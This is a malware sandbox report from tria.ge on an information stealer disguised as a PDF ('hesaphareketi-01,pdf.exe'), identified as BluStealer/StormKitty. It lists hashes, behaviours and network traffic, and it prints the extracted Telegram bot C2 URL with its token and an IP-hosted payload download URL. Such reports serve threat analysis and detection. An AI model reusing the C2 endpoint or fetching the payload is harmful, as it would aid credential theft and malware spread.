Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    89s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    05/10/2022, 10:24 UTC

General

  • Target

    hesaphareketi-01,pdf.exe

  • Size

    22KB

  • MD5

    d8748aaaee46da2fc83ef3122863cd41

  • SHA1

    df2a9725d6d3df7d53137300e9e6197ff161ff58

  • SHA256

    5e24b8db8856eba5cb5a2547949d3a3fbfb9c125172de04f8eb598f4ef33b526

  • SHA512

    64810d855583b27fe27f58ae22497df9debbcd3d59ebcd4842fa6734a27a9c93e47f3a72f0a2d5f33ec03cdf5ef15ba992daf7b332f491844a466bb168961925

  • SSDEEP

    192:4b16DLDiNHv+figinxcsz7Fs2WS7M6zvlRJTHhnj4OpqZndlJ4biHPNLm:vDLDiJv+atZz5TBHCZJ5H1L

Malware Config

Extracted

Family

blustealer

C2

https://api.telegram.org/bot5576673774:AAF__hFRh9bcJV72HkFb-9eZR9JNNyuOmFM/sendMessage?chat_id=1194722650

Signatures

  • BluStealer

    A Modular information stealer written in Visual Basic.

  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 4 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\hesaphareketi-01,pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\hesaphareketi-01,pdf.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Users\Admin\AppData\Local\Temp\hesaphareketi-01,pdf.exe
      C:\Users\Admin\AppData\Local\Temp\hesaphareketi-01,pdf.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1616
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        3⤵
        • Accesses Microsoft Outlook profiles
        • Checks processor information in registry
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:1284

Network

  • flag-nl
    GET
    http://80.76.51.142/nod/Omysshtgaxa.jpeg
    hesaphareketi-01,pdf.exe
    Remote address:
    80.76.51.142:80
    Request
    GET /nod/Omysshtgaxa.jpeg HTTP/1.1
    Host: 80.76.51.142
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Content-Type: image/jpeg
    Last-Modified: Wed, 05 Oct 2022 06:28:17 GMT
    Accept-Ranges: bytes
    ETag: "4f5c6a883d8d81:0"
    Server: Microsoft-IIS/10.0
    Date: Wed, 05 Oct 2022 10:24:18 GMT
    Content-Length: 1356800
  • flag-us
    DNS
    icanhazip.com
    AppLaunch.exe
    Remote address:
    8.8.8.8:53
    Request
    icanhazip.com
    IN A
    Response
    icanhazip.com
    IN A
    104.18.115.97
    icanhazip.com
    IN A
    104.18.114.97
  • flag-us
    GET
    http://icanhazip.com/
    AppLaunch.exe
    Remote address:
    104.18.115.97:80
    Request
    GET / HTTP/1.1
    Host: icanhazip.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Date: Wed, 05 Oct 2022 10:24:31 GMT
    Content-Type: text/plain
    Content-Length: 13
    Connection: keep-alive
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Methods: GET
    Set-Cookie: __cf_bm=4dR3TbBN9Rv2vYoEcO0rpPtEMKJsVC.VC9tV0yikr7c-1664965471-0-AQuRyOL4Sgosm9cxZUCnXIZD2chUXwbsIBBdrsbGKFbEw6XHrgZg1+w+hYZs9ISwBT4p9qNPCsYJ6W75hV13sg0=; path=/; expires=Wed, 05-Oct-22 10:54:31 GMT; domain=.icanhazip.com; HttpOnly
    Server: cloudflare
    CF-RAY: 755572b38e43b724-AMS
    alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
  • 80.76.51.142:80
    http://80.76.51.142/nod/Omysshtgaxa.jpeg
    http
    hesaphareketi-01,pdf.exe
    38.9kB
    1.4MB
    693
    1002

    HTTP Request

    GET http://80.76.51.142/nod/Omysshtgaxa.jpeg

    HTTP Response

    200
  • 104.18.115.97:80
    http://icanhazip.com/
    http
    AppLaunch.exe
    247 B
    687 B
    4
    3

    HTTP Request

    GET http://icanhazip.com/

    HTTP Response

    200
  • 8.8.8.8:53
    icanhazip.com
    dns
    AppLaunch.exe
    59 B
    91 B
    1
    1

    DNS Request

    icanhazip.com

    DNS Response

    104.18.115.97
    104.18.114.97

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1284-70-0x0000000000090000-0x00000000000AA000-memory.dmp

    Filesize

    104KB

  • memory/1284-77-0x0000000000090000-0x00000000000AA000-memory.dmp

    Filesize

    104KB

  • memory/1284-75-0x0000000000090000-0x00000000000AA000-memory.dmp

    Filesize

    104KB

  • memory/1284-72-0x0000000000090000-0x00000000000AA000-memory.dmp

    Filesize

    104KB

  • memory/1616-58-0x0000000000400000-0x0000000000422000-memory.dmp

    Filesize

    136KB

  • memory/1616-61-0x0000000000400000-0x0000000000422000-memory.dmp

    Filesize

    136KB

  • memory/1616-63-0x0000000000400000-0x0000000000422000-memory.dmp

    Filesize

    136KB

  • memory/1616-66-0x0000000000400000-0x0000000000422000-memory.dmp

    Filesize

    136KB

  • memory/1616-59-0x0000000000400000-0x0000000000422000-memory.dmp

    Filesize

    136KB

  • memory/1616-79-0x0000000000400000-0x0000000000422000-memory.dmp

    Filesize

    136KB

  • memory/1616-80-0x0000000000400000-0x0000000000422000-memory.dmp

    Filesize

    136KB

  • memory/1960-54-0x0000000000B10000-0x0000000000B1C000-memory.dmp

    Filesize

    48KB

  • memory/1960-57-0x00000000057E0000-0x0000000005872000-memory.dmp

    Filesize

    584KB

  • memory/1960-56-0x00000000054C0000-0x000000000556C000-memory.dmp

    Filesize

    688KB

  • memory/1960-55-0x00000000751A1000-0x00000000751A3000-memory.dmp

    Filesize

    8KB

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.